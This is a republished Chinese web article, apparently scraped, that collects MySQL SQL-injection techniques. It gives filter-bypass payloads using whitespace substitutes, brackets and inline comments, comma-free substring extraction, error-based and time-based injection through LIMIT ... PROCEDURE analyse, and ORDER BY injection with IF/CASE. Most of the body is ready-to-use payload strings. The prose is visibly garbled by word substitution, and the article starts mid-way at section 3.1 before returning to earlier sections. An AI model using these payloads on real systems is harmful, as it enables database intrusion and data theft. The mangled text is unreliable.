作家
登录

MySQL False注入及技巧总结

作者: 来源: 2017-05-08 10:23:30 阅读 我要评论

3.1. 结号绫扦注

膳绫擎的例子payload就是应用字符串类型转换导致false注入结号绫扦注的一个过程

二、一些注入的技能

mysql中,我们用获得的:

  • 常量:true, false, null, \N, current_timestamp变量:@myvar:=1
  • 体系变量:@@version, @@datadir....
  • 常用函数:version(), pi(), pow(), char(), substring()
  • 字符串生成:hex(), conv()
  • 有关于字符串生成的一些基本字符:true=1,floor(pi())=3,ceil(pi())=4,floor(version())=5,ceil(version())=6

1. 过滤的绕过:

  1. 空格:%20, %09, %0a, %0b, %0c, %0d, %a0,还有一些可以应用括号或者注释  and,or:||,&&  union select:  应用括号,'and(true)like(false)union(select(pass)from(users)),  方括号union [all|distinct] select pass from users#,  union%a0select pass from users,  或者内联注释union/*&sort=*/select pass from users#  union:子萌芽进行盲注and length((select pass from users having substr(pass,1,1)='a'))  having:and(select substr(group_concat(pass),1,1)from users)='a  select ... from(过滤代码如/SELECT\s+[A-Za-z.]+\s+FROM/i/i):  select [all|distinct] pass from users  select`table_name`from`information_schema` . `tables`  select pass as alias from users  select pass aliasalias from users  select pass`alias alias`from users  select+pass%a0from(users)  select,and,&:  这里就是可以应用上文中提到的false注入的方法进行绕过,具体见上文 
  1. '%1# 拼接的语句:where username=''%1# 

不应用逗号:' and substr(data from 1 for 1) = 'a'#

2. 技能

下面说几种不合情境的注入技能

2.1. like

  1. if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price) 

2.2. Limt

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO是须要写的权限。

应用PROCEDURE 有两种方法,基于报错和时光的

基于报错:

  1. mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 
  1. '<<0# '>>0# 

基于时光:

  1. SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1) 

2.3. order by

order by 后的数字可以作为一个注入点。具体可以看这个文┞仿MySQL Order By 注入总结

这里可以用一些断定和返回值进行应用,

  1. /?order=IF(11=1,name,price) 经由过程name字段排序 /?order=IF(1=2,name,price) 经由过程price字段排序 
  1. /?order=(CASE+WHEN+(11=1)+THEN+name+ELSE+price+END) 经由过程name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 经由过程price字段排序 

      推荐阅读

      云端模糊测试挖洞实例

    一、简介Fuzzing(模糊测试)是一种用于辨认软件bug以及马脚的办法。就今朝的成长趋势来说Fuzzing正向着云端迈进,相较于传统Fuzzing方法,云端Fuzzing使得模糊测试速度加快也加倍灵活。在本>>>详细阅读


    本文标题:MySQL False注入及技巧总结

    地址:http://www.17bianji.com/lsqh/35045.html

关键词: 探索发现

乐购科技部分新闻及文章转载自互联网,供读者交流和学习,若有涉及作者版权等问题请及时与我们联系,以便更正、删除或按规定办理。感谢所有提供资讯的网站,欢迎各类媒体与乐购科技进行文章共享合作。

网友点评
自媒体专栏

评论

热度

精彩导读
栏目ID=71的表不存在(操作类型=0)